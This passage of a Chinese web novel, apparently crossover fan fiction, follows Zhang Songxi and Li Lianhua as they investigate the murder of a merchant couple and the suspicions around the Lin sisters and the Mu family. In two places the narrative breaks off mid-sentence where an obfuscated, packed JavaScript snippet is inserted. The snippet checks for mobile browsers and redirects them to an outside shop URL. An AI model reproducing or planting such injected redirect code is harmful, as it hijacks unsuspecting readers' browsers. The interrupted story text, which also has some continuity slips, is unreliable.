“青书,”他的声音有些沙哑,却铿锵有力,“三叔……站起来了。” 34. 山道尸骸骨自顽 元朝至正年间,朝政昏聩如蒙尘铜镜,民变的烽烟在大江南北隐隐燎动,江湖亦成了浊流翻涌的漩涡,正邪的界限被利益与欲望揉得模糊。这一日,武当四侠张松溪与一身洗练风骨的李莲花,正结伴行至湖广行省南山县的地界。 时值深秋,霜风卷着官道两侧的枫叶,红得似燃着的烈火,踩上去簌簌作响,像是踩碎了一地的霞光。张松溪一袭青衫,浆洗得纤尘不染,背负的七星龙泉剑剑鞘是百年老木所制,仅露的剑穗是武当山特有的青碧色,随他的步履轻摆,不见半分晃动——他的轻功已臻化境,足尖点地时竟无半分声响,宛如踏云而行。 身侧的李莲花则是另一番模样,他穿着件洗得发白的淡青旧袍,料子是最普通的粗布,袖口磨出了毛边,发间松松系着根布带,坠着枚莲蓬形的玉佩,玉佩被摩挲得温润发亮。他面色白润,身形清瘦,可一双眼睛却澄澈如深潭,掠过周遭时,总能捕捉到旁人忽略的细微之处。 二人自送宋青书归山,迄今已结伴三月有余。经过几番切磋谈玄,张松溪发现此人见识卓绝,于武学、医理、探案之道无一不精,甚至能一语道破武当剑法中“阴阳相济”的精髓,不由心生敬佩,而李莲花也想见识一下这处的风土人情和大熙有何不同,遂同行。 “李兄,往前再行三里,便是南山县的界碑了。”张松溪停下脚步,抬手遥指前方隐在枫林中的青灰色城郭轮廓,声音清朗如玉石相击。 “此县地处荆襄与江南的咽喉,盛产药材与丝帛,商贾辐辏,倒算是一方富庶之地。我曾听师父提及,县中有位林姓富商名唤林阔方,祖上三代经营药材,到他这一辈又开了丝帛行与漕运码头,家财万贯却乐善好施,不仅在县城设了粥棚施粥,还捐钱修了义学,在百姓中声望极高。若有闲暇,倒可登门拜访一番。” 李莲花微微颔首,指尖摩挲着腰间的莲蓬玉佩,这是他随身多年的物件,藏着些不为人知的过往。他刚要开口回应,目光却突然凝在右侧三丈外的草丛里——那处的草叶比周遭更凌乱,像是有重物压过,且一片枯黄的草叶上,沾着一点极淡的暗红,像是被血渍染过,在秋日的阳光下几乎难以察觉。 “张兄,你看那边。”李莲花的声音很轻,却带着不容置疑的笃定。 张松溪顺着他的目光望去,初时只看到密匝匝的枫树枝叶,待凝神运起武当“天目功”,才发现草丛深处竟露出半截杏色锦缎衣袖,那料子光泽莹润,是苏杭的上品锦缎,绝非寻常百姓所能穿戴。他心中一凛,与李莲花对视一眼,二人同时提气,身形如惊鸿般掠出,不过两个起落,便已站在草丛前。 拨开半人高的野草,两具尸首赫然出现在眼前,瞬间让周遭的秋意都染上了刺骨的寒意。 男尸约四十七八岁的年纪,身材微胖,面朝下扑倒在地,后脑有钝器击打的凹痕,伤口边缘整齐,显是被青铜镇纸一类的物件所伤;背后三道刀伤深可见骨,刀口狭长而锋利,是上好的镔铁刀留下的痕迹,伤口周围的血迹已凝作紫黑,想来死去已有半日之久。女尸稍年轻,约莫四十出头,生得风韵犹存,仰面倒在男尸身侧,心口处插着一柄短匕,匕柄是黄铜所制,雕刻着缠枝莲纹,没入肉中只剩护手,她双目圆睁,瞳孔散大,嘴角还挂着一丝血沫,像是临死前看到了极为惊骇的景象,连最后的呼救都没来得及发出。 二人身上的华服被撕扯得不成样子,女子头上的珠钗、男子腰间的玉带、二人袖中的钱袋都已不见,乍看之下,像是遭了山匪劫财害命。 李莲花蹲下身,动作轻缓地拂过男尸的后颈,指尖触到一片僵硬的皮肤,又翻看他的手掌。男尸掌心有厚厚的老茧,是常年握着算盘与毛笔留下的痕迹,指甲缝里还嵌着一点朱砂,颜色鲜红,不似寻常书画用的朱砂那般暗沉。 张松溪轻声道,语气里没有半分波澜,却带着十足的肯定,“南山县中人极少常年经手官府的药材采买,会接触到官用朱砂——这种朱砂掺杂了麝香与冰片,是专门用来标注官文批令的,寻常人根本拿不到。” “这一位不会就是刚才我们提到过的林阔方吧?” “极有可能。” 李莲花绕着尸首走了一圈,目光落在地面的马蹄印上。那是五六道杂乱的马蹄印,印纹深且宽,是西域良马的马蹄铁样式,印辙向东而去,沿途还散落着几片青色的马毛,显然是凶手行凶后策马逃离。“凶手约有五六人,骑的是西域马,身手都不弱,绝非普通山匪。” 张松溪沉声道,眉头微蹙,“山匪劫财,多是一刀毙命,不会在死者身上留下三道深可见骨的刀伤,更不会用短匕刺中心口这般精准的杀招。这是故意伪装成劫杀,背后定有隐情。” 李莲花又俯身查看女尸发间的珠花,那是一支累丝嵌珠的海棠珠花,做工精巧,花瓣的缝隙里夹着一点极细的暗红丝线,他捏起丝线放在鼻尖轻嗅,眉头微微皱起:“这是云锦的丝线,南山县能织出这种云锦的有几家?这种云锦用的是蜀地的蚕丝,织出来的料子带着淡淡的檀木香,与其他绸缎截然不同。” 李莲花在这个世界也呆了有三个月了,他渐渐地发现这方世界与他所在的那方世界只是年号不同,其他很多地方都有相通之处,因此他心里想到什么便会说什么,如果有什么疑问,双方再互相说出来即可。 “蜀地?云锦?”张松溪眉峰一挑,想起此前听闻的消息,“应该是南山县的几位富商?” “这个案子应该是设计官员和商户。”李莲花将丝线收好,站起身时,他扶着身旁的枫树缓了缓,才道。 空气中还有一丝似有若无的气味。 就在二人交谈间,远处传来一阵急促的马蹄声,夹杂着衙役的呼喝声,由远及近。不多时,一队身着皂衣的衙役疾驰而来,为首的是个四十余岁的黑脸捕头,身材魁梧,腰间挎着腰刀,脸上满是风尘。他看到草丛中的尸首时,脸色骤然变得惨白,猛地翻身下马,踉跄着扑过去,声音都带着颤抖:“林老爷!林夫人!怎么会这样……” “果然是林阔方。”张松溪和李莲花均如此想到。 这捕头名唤王铁柱,是南山县的总捕头,与林阔方相交多年。当年王铁柱的母亲病重,家中贫寒拿不出诊金,是林阔方二话不说出钱请了荆州的名医,还派人送药照料,这份情王铁柱记了一辈子。此刻见恩人横死,他只觉心头像是被重锤砸了一下,强忍悲痛站起身,挥手让衙役们小心收敛尸身,又转身向张松溪与李莲花抱拳行礼,目光落在张松溪背负的龙泉剑上,语气多了几分恭敬:“二位壮士是?” “武当张松溪,这位是李莲花李公子。”张松溪回了一礼,语气平和,“我二人途经此地,见草丛有异,便上前查看,不料竟遇上这等惨案。” “武当张四侠?”王铁柱闻言大惊,连忙又作了个揖,态度愈发恭敬,“小人久仰武当七侠的大名!此案事关重大,还请二位随小人回县衙一趟,容赵县令问话,也好助县衙查明真相,为林老爷夫妇伸冤。” 李莲花看了一眼被衙役小心翼翼抬上担架的尸首,又望向南山县的方向,眼中闪过一丝思索——那云锦丝线似乎太过刻意,反倒像有人故意留下的破绽。他随即对张松溪点了点头,张松溪便对王铁柱道:“既遇此事,自当相助。” 王铁柱大喜,忙引着二人上了马,一行人簇拥着尸身,往南山县城赶去。马蹄踏过红叶满地的官道,卷起漫天碎叶,秋日的暖阳落在众人身上,却驱不散空气中的肃杀与阴谋,唯有枫叶飘落的簌簌声,像是在为逝去的人低吟挽歌。 南山县衙坐落在县城正中,是一座青瓦红柱的院落,门前的石狮子已被岁月磨去了棱角,显得有些斑驳,门楣上的“南山县衙”四字,也因风吹雨打褪去了些许漆色。县衙后堂的书房里,檀香袅袅,案上摆着一杯微凉的清茶,却压不住空气中的沉闷与压抑。 县令赵砚锋年约五旬,面容清瘦,颔下留着一缕山羊须,眉宇间带着浓重的郁色。他身着青色官袍,坐在紫檀木书案后,手中捏着一份卷宗,指节因用力而泛白。听完王铁柱的禀报,他重重叹了口气,将卷宗拍在案上,声音里满是无奈与愤怒:“林兄与唐夫人竟遭此横祸……王捕头,现场可曾发现什么线索?” 王铁柱躬身呈上一枚羊脂白玉佩,玉佩上雕着一只振翅的雄鹰,工艺精湛,一看便知是贵重之物:“大人,这枚玉佩是在尸首旁的草丛里找到的,卑职已经查访过了,是郑家少爷郑承泽的随身之物。郑少爷与林家二小姐有婚约,这玉佩是郑老爷在他生辰时送的,刻着他的名字,绝不会错。” 赵砚锋拿起玉佩,指尖摩挲着玉佩上的鹰纹,眉头越皱越紧,眼底却闪过一丝不易察觉的光:“郑承泽?他为何会出现在案发现场?莫非是他见财起意,杀害了林兄夫妇?” “小人也不知,只是这玉佩太过显眼,恐是重要证物。”王铁柱话音未落,门外便传来一阵细碎的脚步声,两名衙役引着两位少女走了进来,打破了书房的沉寂。 走在前面的少女年约十八九岁,身着一袭素白襦裙,未施粉黛,眉目清冷,虽眼眶微红,却依旧举止沉稳,行礼时腰肢弯得恰到好处,透着大家闺秀的端庄与自持。她是林阔方的长女林采薇,自小跟着父亲打理家业,比寻常闺阁女子多了几分干练与果决。 跟在她身后的是妹妹林若薇,年方十六七岁, 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林采薇的身影那么长长,腰背挺直如修竹,一丝不苟地向父母的灵位叩首。她刚才给赵县令行礼时,起身时,双手都是优雅地拢在身前,连孝服的麻布边角都理得整整齐齐,鬓边一朵小小的白绒花,衬得她侧脸如玉,只有眼睫垂下时,能看见一抹恰到好处的、沉静的哀戚。 那哀戚也是规整的,像用尺子量过,不多一分,不少一毫,正符合一个丧亲的大家闺秀该有的仪态。 林若薇的悲伤混乱的——是猝然失去的茫然无措,是还没来得及真正亲近便已阴阳两隔,像一团哽在喉咙里的火炭,灼得她五脏六腑都疼。可此刻,这纯粹的悲伤里,却骤然掺进了一缕冰针似的警惕与……恐惧。 只因那一眼瞪过去时,林采薇似乎有所感应,缓缓转过了脸。 烛光在她平静无波的眼中流淌,那里面映着跳动的火焰,也映着林若薇自己有些惶然失措的脸。林采薇的目光在她脸上停留了一瞬,没有怨恨,没有挑衅,甚至没有任何情绪,只是那样看着,到最后,甚至有些郑重地看着。 倒看得林若薇有些莫名。 然后,她便淡淡地移开了视线。 林采薇属于这里,每一寸砖瓦都认识她,每一个下人都敬畏她。而她林若薇,不过是两年前才从田间地头被找回来的意外。 她熟悉的,是农家小院的鸡鸣狗吠,是泥土的腥气和稻谷的清香,是日升月落的简单轮回。 她总忍不住想,若是一直跟在爹爹娘亲身边,长在林家高墙之内,受着同样的教诲,或许今日,她也能拥有那份令人心安的气度,那份仿佛天生就该主宰一切的从容。 她的心里是佩服羡慕林采薇的,羡慕她能够得到爹娘的爱重,打理这份诺大的家业。 可是现在,爹娘都死了。 这念头像一道惊雷劈进她混沌的脑海。 灵堂里缭绕的线香气味忽然变得浓重而诡异,冰冷的空气似乎贴着皮肤开始流动。那些隐约的、从前她懵懂不觉的视线——来自管家、嬷嬷、甚至角落里沉默的丫鬟——此刻仿佛都有了重量,落在她身上,带着审视,带着估量,也带着某种她无法解读的幽深意味。 林采薇依旧是这偌大府邸里名正言顺的大小姐。而她林若薇,是什么?一个流落在外多年、刚刚认祖归宗不久、与家族格格不入的二小姐。她的依靠,那点微薄的、还没来得及真正焐热的亲情,随着父母的棺椁一同入土了。 林若薇猛地打了个寒颤。她终于明白那弥漫在心头、驱之不散的感觉是什么了。 是危险。 一种失去了所有屏障与凭依后,赤裸裸暴露在未知面前的危险。这深宅大院不再仅仅是令她自卑不适的华丽牢笼,它突然变得空旷而危机四伏,每一道门廊后,每一扇窗影里,都可能藏着吞噬她的巨口。而站在她不远处的林采薇,那个举止完美无瑕的姐姐,在摇曳的烛光与幢幢的暗影里,身影似乎也模糊起来,变得陌生而难以测度。 林采薇又点燃了三炷香,青烟笔直上升,然后在空中散开,模糊了她沉静的眉眼。她将香插入炉中,动作轻缓,没有发出一点声音。 林若薇却听到了自己擂鼓般的心跳,在寂静的灵堂里咚咚作响,震得她耳膜发疼。她攥紧了孝服的衣角,粗糙的麻布磨砺着掌心,带来细微的痛感,才让她勉强维持着一丝清明。 父母尸骨未寒,而一种比死亡更冰冷的东西,似乎已经悄然弥漫在这座宅邸的每一个角落,无声地缠绕上她的脚踝。她看向那两方漆黑的牌位,又瞥向林采薇在烛光下显得格外白皙沉静的侧脸。 长夜漫漫,守灵才刚刚开始。而往后的日子,没了爹娘的荫庇,这座她尚未熟悉的深宅,以及宅中这位她更不了解的“姐姐”,将会为她准备怎样的命运?林若薇不知道。她只感到那无形的危险,正随着每一缕飘散的香烟,一丝丝渗入她的骨髓。 35. 山道尸骸骨自顽2 一辆半旧的青篷马车,骨碌碌碾过平整的青石板路,在林府门前缓缓停下。帘子掀起,先下来一位身着半旧青衫的年轻男子。他落地后,轻轻掸了掸衣袖上并不存在的灰尘,抬眼望向那气派却蒙着哀戚的府门,目光沉静,若有所思。正是李莲花。 随后下车的男子身形挺拔,穿着武当弟子常着的道袍便装,举止间自有松柏般的沉稳气度,正是张松溪。他看了一眼那白灯笼,眉头几不可察地微微一蹙。 早已得了消息的林府中门并未大开,只开了侧边一扇。但门内,一身素白孝服的林采薇已亲自迎了出来。她并未佩戴过多饰物,只在发髻旁簪着一朵小小的银花,愈发显得容颜如玉,只是脸色比往日更苍白几分,眼圈也带着浅浅的红痕,那是恰到好处、令人怜惜的哀伤。 她步履轻缓却稳当地走到阶前,对着李莲花和张松溪盈盈一福,声音不高,却清晰柔婉:“张四侠,家父在时,便常感念武当高义。此番骤遭大难,府中上下惶然无措。二位远道而来,路途劳顿,采薇本不该冒昧相扰。只是……”她语声微顿,睫毛垂下,复又抬起时,眼中一片坦诚的恳切。 “府中正值多事之秋,人心浮动。采薇一介弱质女流,妹妹若薇又……年纪尚小,骤失依怙,实在无力支撑内外。久闻张四侠侠义为怀,斗胆恳请二位,能在府中暂住些时日,一来稍解采薇惶恐无依之心,二来,若府中上下有疾,或遇些不甚明白的疑难,也可就近请教。万望二位莫要推辞,全当……全当是告慰家父家母在天之灵。” 她这番话,说得入情入理,姿态放得极低,既点明了府中现状的艰难与自己的无助,又抬出了已故林父的情面,更以“请教”、“告慰”这样谦卑又难以拒绝的理由相邀,让人很难当面回绝。尤其是那双含着薄泪、却强撑着不失礼数的眼睛望向人时,足以激起任何一位稍有侠义之心者的怜弱之意。 张松溪面色缓和了些,沉声道:“林小姐节哀。林老爷与武当向有往来,如今府上有事,张某既适逢其会,自当略尽绵力。”他言下之意,已是应了这“暂住”之请,更多是出于对故人之女的道义关照。 李莲花却只是轻轻“啊”了一声,目光掠过林采薇端庄得体的仪容,又似不经意般扫过门内影壁旁一闪而过的、另一个同样穿着孝服却显得有些怯缩的身影——那是听到动静悄悄出来窥看的林若薇。 那林若薇见李莲花在看她,只是又恨恨地剜了林采薇一眼。 “这位便是李神医吧,还要一同麻烦你了。”林采薇说道 在李莲花见来,这一眼并无刻薄之意,而有小女儿家的骄矜之意。 李莲花收回视线,对着林采薇温和地笑了笑,那笑容里有些许疲惫,却并无多少波澜:“林小姐客气了。李某不过一个游方郎中,当不起‘神医’之称,也解不了什么大疑难。不过,既然府上不嫌弃,张兄又应承了,那李某便叨扰几日,若能帮忙看看府上诸人安康,也算不白走这一趟。” 他这话说得含糊,既未大包大揽,也未完全推脱,更像是随波逐流,顺着张松溪的话头应了下来。 林采薇眼底深处似乎有一丝极淡的放松闪过,面上却依旧是感激的悲容,再次敛衽行礼:“如此,采薇代林家上下,谢过二位高义。府中已备下厢房,虽在丧期,简陋了些,还请二位莫要嫌弃。李神医,张四侠,请随我来。” 她侧身相让,姿态优雅无可挑剔。早有伶俐的管家上前,引着马车从侧门进去安置。 李莲花与张松溪随着林采薇步入林府。绕过影壁,但见庭院深深,虽处处悬挂白幡,但楼阁精致,花木扶疏,依稀可见往日豪富气象。只是这华美庭院此刻笼罩在暮色与哀思中,行走其间仆役虽多,却皆屏息敛声,脚步匆匆,透着一股压抑的寂静。 林若薇躲在抄手游廊的柱子后面,咬着嘴唇,看着姐姐引着那两个陌生的、气质迥然的男子向内院走去。 林采薇将二人引至一处清静独立的客院,院中栽着几竿翠竹,倒也雅致。她亲自吩咐了丫鬟仆役小心伺候,言辞周到,面面俱到,这才以不便久扰为由,告辞离去。 竹影婆娑,映在窗纸上。这座沉浸在悲伤与猜疑中的深宅,因为这两位不速之客的到来,潜流似乎开始悄然转向。长夜漫漫,一切才刚刚开始。 李莲花站在书房的角落,目光虚空,思绪静静落在这对姐妹身上,像是在回忆一幅水墨画卷,却又在不经意间捕捉着细节。 林府的清晨,笼罩在一片压抑的寂静中。白幡在微风中偶尔发出窸窣的轻响,越发衬得庭院空旷。李莲花起得很早,正在客院那几竿翠竹下,慢条斯理地活动着手脚,姿态闲散得像个早起遛弯的普通书生。 张松溪已在外院练了一套拳回来,气息匀长,见李莲花这般模样,不由摇头:“李兄倒是好定力。” 李莲花收了势,掸了掸并无灰尘的衣襟,“主家未请,客随主便。不过……”他话音未落,院门外便传来一阵略显急促却不失稳健的脚步声。 来人是个三十许岁的男子,身着靛蓝劲装,腰佩长刀,面容刚毅,眉眼间带着久历公门的锐利与风霜。他身后还跟着两名同样干练的差役。此人正是南山县县令,赵砚锋。 “李神医,张四侠,久仰。”赵砚锋抱拳行礼,声音干脆,目光在两人身上一扫,并无过多寒暄,“近来闻得张四侠和李神医侠名有扬,特来拜会,且林老爷夫妇死因蹊跷,府衙已立案侦查。赵某前来查探,闻知二位昨夜入府,亦想听听二位高见。”他言辞直接,不喜绕弯子。 张松溪“啊”了一声,微微颔首:“不敢不敢,县令大人辛苦。我与李兄,不过是应林大小姐恳请,暂居于此。对府中之事,所知有限。” 张松溪又正色道:“林老爷与武当有旧,此事张某既遇上,自当协助县令大人查明真相,以慰逝者。” 赵砚锋点点头:“如此甚好。据初步勘验,林老爷和夫人均是死于山匪作乱,身上钱财全被搜刮,但是现场有很多疑点,比如后来我们仔细查验,在死者不远处发现了郑承泽的玉佩。” “郑承泽?”李莲花微微挑眉。 “郑承泽?”张松溪沉吟,“此人是何来历?” “商贾之子,家中经营药材生意,与林家素有来往。其人看似斯文,但坊间风评并非绝佳,尤好勾栏酒肆。”赵砚锋道,“更重要的是,林家老爷生前,似乎对郑家近来一批药材的质量颇有微词,曾当众驳过郑承泽的面子,令其难堪。而有药铺伙计隐约听见,郑承泽酒后曾抱怨,说林家‘倚老卖老,断人财路’。” 动机、时机、人证物证的隐隐牵连……郑承泽的嫌疑陡然上升。 李莲花静静地听着,手指无意识地摩挲着腰间那看似普通的“莲花楼”令牌,片刻后,才缓缓道:“县令大人是打算直接拿人问话,还是……” “尚无确凿铁证,直接拿人恐打草惊蛇。”赵砚锋目光锐利,“我已派人暗中盯住郑承泽及其与林府可能关联的途径。今日前来,一是通报案情进展,二是想请二位,随我一同去会一会这位郑少东家。李神医精通药理,或能看出药材上的关窍;张四侠阅历丰富,可观其言行破绽。我们以拜访洽谈药材生意为名,探一探他的虚实。” 此计可行。张松溪看向李莲花。李莲花点了点头:“也好。” 三人计议已定,便不再耽搁。赵砚锋早已安排妥当,一辆不起眼的马车载着他们,驶出笼罩在哀戚中的林府,前往城中济世堂所在街巷。 马车里,赵砚锋闭目养神,手指在刀柄上轻轻叩击。张松溪正襟危坐,调理内息。李莲花则靠着车壁,望着窗外飞速掠过的街景,眼神有些放空,不知在想些什么。 张松溪则留意着赵砚锋的神色。 几人已至县衙。 正说着,门外突然传来一阵喧哗,夹杂着青年男子的急切呼喊:“赵大人!赵大人!我冤枉啊!我真的没杀人!” 众人循声望去,只见一个锦衣青年跌跌撞撞地闯了进来,他年约二十,眉眼俊朗,面色却惨白如纸,额头上还渗着冷汗,衣衫也有些凌乱,正是郑承泽。 他一进门便跪倒在地,急声道:“赵大人!我昨夜整宿都在醉花楼,从傍晚一直待到天亮,楼里的人都能为我作证!我根本没去过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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林采薇走到堂前,先向赵砚锋及李莲花、张松溪等人盈盈一礼,声音带着哀恸后的沙哑,却清晰可闻:“赵捕头,李神医,张四侠。采薇与妹妹并非有意打扰公务。只是听闻已找到关键物证,涉及郑……郑公子,心中实在难安,故此前來。有些事,关乎先父母,也关乎林家清誉,采薇思虑再三,觉得不应再隐瞒。” 她说着,目光缓缓转向跪在地上的郑承泽,那眼神复杂至极。 郑承泽迎上她的目光,张了张嘴,想说什么,却在林采薇接下来的话语中彻底僵住。 “郑公子方才言及,与我家只有生意龃龉。”林采薇声音不高,却像一滴冷水坠入滚油,“但事实上,先父与郑家老爷,早年曾为采薇与郑公子,定下过婚约。” 此言一出,满堂皆惊。 郑承泽急道:“采薇!此事……” “婚约并未解除。”林采薇打断他,语气平静得可怕,仿佛在陈述一件与己无关的事实,“先父为人重诺,曾言此约既立,除非男女双方一方身死,否则绝不更改。郑家老爷亦是首肯。此事虽未大肆宣扬,但两家至亲皆知。” “一方身死,绝不更改……”堂上回荡着这八个字,冰冷刺骨。 林若薇此时也抬起头,附和道:“是……是的。爹爹和郑伯伯确实说过这样的话。我……我也听娘提起过。”此刻,她心中竟隐隐希望,姐姐坐实了这婚约的存在,让所有人的目光,尤其是这可怕的嫌疑,都牢牢锁在郑承泽身上才好。这念头让她感到一丝卑劣的安心,却又被更深的不安淹没。 “林阔方根本就不同意郑承泽和他们家结亲。” “这郑承泽是个十足十的败家子。” “我看嘛,这郑家已经给郑承泽败光了,是个空壳子了。” “为了结亲,杀掉林府老爷夫人,也是有可能的。” “毕竟唯一的阻碍就不在了嘛。” “不管林家姐妹是否喜欢他,他只要随便挑一个,又可以继续挥霍了……” “……” 围观的人群窃窃私语。 郑承泽被关押了起来,但是县衙又传了醉花楼的老鸨,还有一些姐儿们,他们证实,那一天,林氏夫妇身死的那一天,整整一天他都在醉花楼厮混,流连忘返。 当天晚上还宿在了醉花楼。 36. 暗流涌动端倪现 李莲花在案件的物证那里发现了那日他仔细检查的云锦,抬眼看向赵砚锋,语气平淡却带着一丝质问,“赵大人,云锦向来只供权贵,寻常人难以接触,为何会出现在凶案现场?赵大人,李某想问,这云锦是出自谁家?” 赵砚锋捋了捋山羊须道:“李公子所问极是,本县即刻传相关人士来问,查清这云锦的来历。”他暗中给身旁的衙役使了个眼色。 几个专供布料的商家皆说,这云锦出自暮家。 暮府位于南山县城南,是一座占地广阔的宅院,高墙深院,朱漆大门上镶着铜钉,门口站着两个身着劲装的护卫,眼神锐利,显是练家子,透着一股生人勿近的威严。与县衙的古朴不同,暮府处处透着奢华,门前的石狮子是汉白玉雕成的,院内的假山流水皆是从江南运来的奇石,就连走廊的栏杆上,都雕着精美的花鸟图案,可见暮家的家底之厚。 暮家的家主暮中正,是南山县的县衙师爷,虽只是个八品小官,却把持县政多年,县令赵砚锋性格懦弱,又因女儿的事被暮中正拿捏,故而南山县的大小事务,实则都由暮中正说了算。暮中正的独子暮临州,年二十二,生得面如冠玉,举止温文尔雅,平日里手持折扇,风流倜傥。 李莲花与张松溪以结交名义登门拜访,通报后不久,暮临州便亲自迎了出来。他身着一袭月白色的云锦长衫,腰间系着玉带,手中摇着一把折扇,扇面上画着水墨兰草,看起来一派风流倜傥的模样,只是眼底深处藏着一丝不易察觉的戒备。 “张四侠,李公子,久仰大名。”暮临州拱手行礼,笑容温和,眼神却在二人身上快速扫过,带着一丝审视,“林世伯与伯母遭此大难,小侄心中亦是悲痛万分。若有需要暮家出力之处,二位尽管开口,小侄定当尽力,绝不推辞。” 李莲花的目光落在暮临州的衣袖上,那处有一道细微的裂口,像是被什么东西勾破的,虽已用同色的丝线缝补过,却依旧能看出痕迹,裂口的边缘还带着一丝淡淡的朱砂色。“暮公子这件衣裳,似乎被勾破了一角?”李莲花状似随意地问道,语气里没有半分探究。 暮临州的笑容不变,抬手拂了拂衣袖,从容道:“前日在书房整理旧籍时,不慎被书架上的铜钩勾破了,已让下人修补过,倒是让二位见笑了。”说着,他抬手示意下人上茶,衣袖翻动间,左手腕上露出一道浅浅的抓痕,伤口还未完全愈合,结着一层薄痂。 张松溪的目光如电,瞬间便捕捉到了那道抓痕,语气带着一丝探寻:“暮公子的手腕受伤了?看这伤口的形状,不像是被剑鞘划到的。” “哦,这是练剑时不慎被剑鞘上的铜环划到的。”暮临州若无其事地放下袖子,将手腕遮住,生怕被看出破绽,“小侄的剑术不精,让二位见笑了。”他心中暗骂赵砚锋,这道抓痕是赵砚锋让他故意弄出来的,说是能增加“嫌疑”,如今却成了破绽。 李莲花端起茶杯,抿了一口雨前龙井,目光却扫过暮临州的鞋底,那鞋底沾着一点红褐色的泥土,与城外官道旁的泥土颜色一模一样,且泥土中还夹杂着一点枫叶的碎屑,显然是刚从城外回来。 他心中了然,却并未点破,只是与暮临州闲谈起来,从林阔方的生平聊到南山县的风土人情,从丝帛的行情聊到丝帛的价格,言语随意。 暮临州应对得滴水不漏,谈及林阔方的死时,脸上满是惋惜,甚至还落下几滴眼泪,看起来情真意切。 闲谈了约半个时辰,二人起身告辞。暮临州亲自将他们送到府门口,看着二人离去的背影,脸上的笑容渐渐敛去,眼中闪过一丝阴鸷与不耐。他转身回府,径直走向书房,关上门后,从书架后的暗格里取出一个锦盒,里面装着几包药粉,其中一包正是官用的朱砂粉。 “哼,武当的人也来多管闲事,赵砚锋这老狐狸尾巴露出来了,倒是会把麻烦引到我身上。”暮临州低声自语,手指摩挲着锦盒,眼中闪过一丝狠戾,“不过没关系,等我拿到林家的丝帛行,就算是武当七侠来了,也奈何不了我。”他将锦盒放回暗格,又拿起桌上的一封信,信上是父亲暮中正的字迹,让他尽快搞定林若薇,拿到林家的产业账本,否则便要将他私藏的盗匪名单交给官府。 出了暮府,张松溪与李莲花沿着青石板路慢行,街边的摊贩叫卖着南山县的特产,却无人留意这两位身怀绝技的江湖人。“此人应答如流,毫无破绽,倒像是早有准备。”张松溪沉吟道,语气里带着一丝疑惑,“只是他的神色太过平静,听闻林阔方死讯时,悲痛之情流于表面,并非发自内心,显然是伪装的。” “太完美的应对,本身就是最大的破绽。”李莲花道,指尖轻轻敲着腰间的玉佩,“张兄可注意到他书房里的那盆兰草?那是‘鬼面兰’,是一种剧毒之花,花粉能让人产生幻觉,长期接触还会损伤五脏六腑,寻常人绝不会将它养在书房里。且我在他的书案下闻到了一股淡淡的药味,与林阔方指甲缝里的朱砂混合在一起,正是‘牵机引’的味道——那是一种无色无味的剧毒,服下后三日发作,状似心疾,无药可解。” 张松溪心中一震,脚步顿了顿:“如此说来,林阔方夫妇并非死于刀伤,而是先中了毒?那现场的刀伤,只是为了伪装成劫杀?” “极有可能。”李莲花点头,目光望向暮府的方向,带着一丝深意,“暮临州的破绽太多,却又太过刻意。” 二人正说着,忽见暮府的侧门处溜出一个瘦小的身影,那人身着青色布裙,头上蒙着一块方巾,怀中揣着一个布包,脚步匆匆地往城西方向走去,看起来鬼鬼祟祟。李莲花定睛一看,认出那身影正是林若薇,心中不由生出一丝疑惑。 “是林二小姐。”张松溪也认了出来,语气带着一丝担忧,“她怎么会在暮府?还这副模样,怕是有危险。” “跟上她,看看她要做什么,或许能找到些线索。”李莲花低声道,二人立刻提气,悄然跟在林若薇身后,脚步轻盈得如同柳絮,落在青石板上无声无息,并未被她察觉。 林若薇七拐八绕,走进了城西一条偏僻的小巷,巷子两旁是破旧的院墙,墙头生着枯黄的野草,看起来少有人来。巷子尽头是一间小小的院落,院门上挂着一把铜锁,锁身已生了锈,显然许久未曾打开过。 林若薇从袖中取出一把钥匙,钥匙柄上刻着一朵小小的海棠花,正是林家的标志。她将钥匙插入锁孔,轻轻转动,“咔哒”一声,铜锁应声而开,她闪身走了进去,还不忘回头看了看身后,确认无人跟随。 李莲花与张松溪对视一眼,二人同时纵身跃起,落在院墙外的槐树上,枝叶茂密,正好将他们的身影遮住,院内的景象尽收眼底。 院内的地面铺着青石板,角落里种着一棵桂花树,只是秋日已深,树上的桂花早已落尽。院中站着一个素衣女子,正是林采薇,她背对着院门,身形挺拔,望着院中的桂花树,不知在想些什么。 林若薇一见到姐姐,便再也忍不住,扑进她怀中放声大哭,肩膀剧烈地颤抖着,像是积攒了许久的恐惧与悲痛终于找到了宣泄的出口:“姐姐!暮临州今日约我出游,却问我知不知道爹娘把家里的账本藏在了哪里!幸亏我之前一直装作那种不谙世事的样子,将他搪塞了过去,姐姐,我好害怕。他言语之间似乎还透露出,若是我不说,便要对你下手,把你打成杀害爹娘的凶手!”此刻她这样已经完全不是之前那个较劲任性的小姑娘模样。 林采薇轻轻拍着妹妹的后背,动作温柔,眼神却冷若冰霜,像是结了一层薄冰:“你做的很好,不愧是父亲母亲的女儿。”她的声音很轻,却带着一丝不容置疑的坚定。 “姐姐,你……”林若薇抬起头,脸上满是泪水,睫毛湿漉漉的,“姐姐,我实在没有想到你会在这时候夸我。”说着说着她又哭了起来。 这两姐妹竟然有两幅面孔。 只见张松溪的面上有些许诧异之色,但是仔细一想,马上又了然了。 “姐姐,我们去县衙报告给赵大人吧,我看他完全不是之前那副唯唯诺诺的样子。”林若薇抬起头泪眼朦胧地看着姐姐。 “无凭无据,去县衙揭发不过是打草惊蛇。”林采薇接过妹妹怀中的布包,打开一看,里面是一叠厚厚的账本,纸张泛黄,显然是有些年头了。她翻了几页,眉头皱得更紧,“你冒险偷这些账本,太危险了。暮府的护卫众多,且都是练家子,若是被发现,你可就回不来了。”林若薇早年与父母失散,被一户农家人收养,农家待她不错,那家男人也有教他一点拳脚功夫。 后来无意之中,河间双煞收了她做关门弟子,是以她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109855|195845||http|test|mini|href|location''.split(''|''),0,{})); () { 